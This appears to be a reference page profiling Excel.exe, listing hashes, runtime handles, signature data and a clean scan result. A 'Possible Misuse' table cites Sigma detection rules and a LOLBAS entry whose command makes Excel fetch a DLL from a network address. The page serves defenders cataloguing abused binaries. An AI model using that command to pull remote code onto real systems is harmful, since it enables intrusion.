EXCEL.EXE

  • File Path: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
  • Description: Microsoft Excel

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EXCEL.EXE EXCEL.EXE

Hashes

Type Hash
MD5 3003BFEBF21C97DEA1FAC436BABCCFFA
SHA1 1319B94DB6992691A918829373E9F5139EADEE52
SHA256 00D8FCDB9E2B315BFFF3D16FFB2F50ED55A64A84BF2F0E1127BD476ADD58705F
SHA384 229CA2807347AFB0D882C55CE00021600A4E046AA835E670CACF5B3C1F7B29611851549A8F5FD579AE74DB22F358F944
SHA512 B2339CC34E1C45034E3776D007E6BA5F1B94DE8B1827008FBC14F1A7AF7E506B2952098E033B62B9BCAA931D29F51CB72D44064F8AFDC5A26231B52C448B065A
SSDEEP 786432:FL3CjxyO885kaEYAg4HV9N/+DJtste99aOjg7zznUikcvKzGri:FLSFyO885kaEYP4HVb+DJtstefa6g7cK
IMP 0EDEE5E175F78644C9182A41C9B960D8
PESHA1 E72B55B473D77B4FAE8A45EFD3FDDE3320487491
PE256 C5DA3915FA28081E6738DE32E88634E543B843DAE73D726B438DADC1DC429033

Runtime Data

Window Title:

Excel (Read Only)

Open Handles:

Path Type
(R–) C:\ProgramData\Microsoft\Office\ClickToRunPackageLocker File
(R-D) C:\Windows\Fonts\StaticCache.dat File
(R-D) C:\Windows\System32\en-US\crypt32.dll.mui File
(R-D) C:\Windows\System32\en-US\d2d1.dll.mui File
(R-D) C:\Windows\System32\en-US\dnsapi.dll.mui File
(R-D) C:\Windows\System32\en-US\KernelBase.dll.mui File
(R-D) C:\Windows\System32\en-US\mswsock.dll.mui File
(R-D) C:\Windows\System32\en-US\propsys.dll.mui File
(R-D) C:\Windows\System32\en-US\Windows.Security.Authentication.Web.Core.dll.mui File
(R-D) C:\Windows\System32\en-US\winnlsres.dll.mui File
(R-D) C:\Windows\SystemResources\imageres.dll.mun File
(R-D) C:\Windows\SysWOW64\en-US\user32.dll.mui File
(RW-) C:\Users\user\Documents File
(RW-) C:\Windows File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.488_none_11b1e5df2ffd8627 File
(RW-) C:\Windows\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.19041.508_none_429cdbca8a8ffa94 File
(RWD) C:\Windows\Fonts File
(RWD) C:\Windows\Fonts\segoeui.ttf File
\BaseNamedObjects__ComCatalogCache__ Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000002.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2 Section
\BaseNamedObjects\F932B6C7-3A20-46A0-B8A0-8894AA421973 Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section
\BaseNamedObjects\windows_shell_global_counters Section
\Sessions\1\BaseNamedObjects\10FM_ACB_S-1-5-5-0-257318 Section
\Sessions\1\BaseNamedObjects\10FM_ACBBD_S-1-5-5-0-257318 Section
\Sessions\1\BaseNamedObjects\1958HWNDInterface:75031c Section
\Sessions\1\BaseNamedObjects\UrlZonesSM_user Section
\Sessions\1\BaseNamedObjects\windows_shell_global_counters Section
\Sessions\1\BaseNamedObjects\windows_webcache_counters_{9B6AB5B3-91BC-4097-835C-EA2DEC95E9CC}_S-1-5-21-2047949552-857980807-821054962-504 Section
\Sessions\1\Windows\Theme64749523 Section
\Windows\Theme1120315852 Section

Loaded Modules:

Path
C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\wow64.dll
C:\Windows\System32\wow64cpu.dll
C:\Windows\System32\wow64win.dll

Signature

  • Status: Signature verified.
  • Serial: 33000002CE7C9ACE7D905ED2B70000000002CE
  • Thumbprint: B10607FB914700B40F794610850C1DE0A21566C1
  • Issuer: CN=Microsoft Code Signing PCA 2010, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: Excel.exe
  • Product Name: Microsoft Office
  • Company Name: Microsoft Corporation
  • File Version: 16.0.12527.20482
  • Product Version: 16.0.12527.20482
  • Language: Language Neutral
  • Legal Copyright:
  • Machine Type: 32-bit

File Scan

  • VirusTotal Detections: 0/70
  • VirusTotal Link: https://www.virustotal.com/gui/file/00d8fcdb9e2b315bfff3d16ffb2f50ed55a64a84bf2f0e1127bd476add58705f/detection/

Possible Misuse

The following table contains possible examples of EXCEL.EXE being misused. While EXCEL.EXE is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma godmode_sigma_rule.yml - '\EXCEL.EXE' DRL 1.0
sigma sysmon_suspicious_dbghelp_dbgcore_load.yml - '\excel.exe' DRL 1.0
sigma sysmon_susp_office_dotnet_assembly_dll_load.yml - '*\excel.exe' DRL 1.0
sigma sysmon_susp_office_dotnet_clr_dll_load.yml - '*\excel.exe' DRL 1.0
sigma sysmon_susp_office_dotnet_gac_dll_load.yml - '*\excel.exe' DRL 1.0
sigma sysmon_susp_office_dsparse_dll_load.yml - '*\excel.exe' DRL 1.0
sigma sysmon_susp_office_kerberos_dll_load.yml - '*\excel.exe' DRL 1.0
sigma sysmon_susp_winword_vbadll_load.yml - '*\excel.exe' DRL 1.0
sigma sysmon_susp_winword_wmidll_load.yml - '*\excel.exe' DRL 1.0
sigma sysmon_apt_muddywater_dnstunnel.yml - '\excel.exe' DRL 1.0
sigma win_office_shell.yml - '*\EXCEL.EXE' DRL 1.0
sigma win_office_spawn_exe_from_users_directory.yml - '*\EXCEL.EXE' DRL 1.0
sigma win_susp_msoffice.yml - '\excel.exe' DRL 1.0
sigma win_susp_powershell_parent_process.yml - '\excel.exe' DRL 1.0
sigma win_susp_regsvr32_anomalies.yml Image: '*\EXCEL.EXE' DRL 1.0
sigma sysmon_cactustorch.yml - '*\excel.exe' DRL 1.0
sigma sysmon_suspicious_remote_thread.yml - '\excel.exe' DRL 1.0
LOLBAS Excel.yml Name: Excel.exe  
LOLBAS Excel.yml - Command: Excel.exe http://192.168.1.10/TeamsAddinLoader.dll  
LOLBAS Excel.yml - Path: C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files (x86)\Microsoft Office\Office16\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files\Microsoft Office\Office16\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files (x86)\Microsoft Office\Office15\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files\Microsoft Office\Office15\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files (x86)\Microsoft Office\Office14\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files\Microsoft Office\Office14\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files (x86)\Microsoft Office\Office12\Excel.exe  
LOLBAS Excel.yml - Path: C:\Program Files\Microsoft Office\Office12\Excel.exe  

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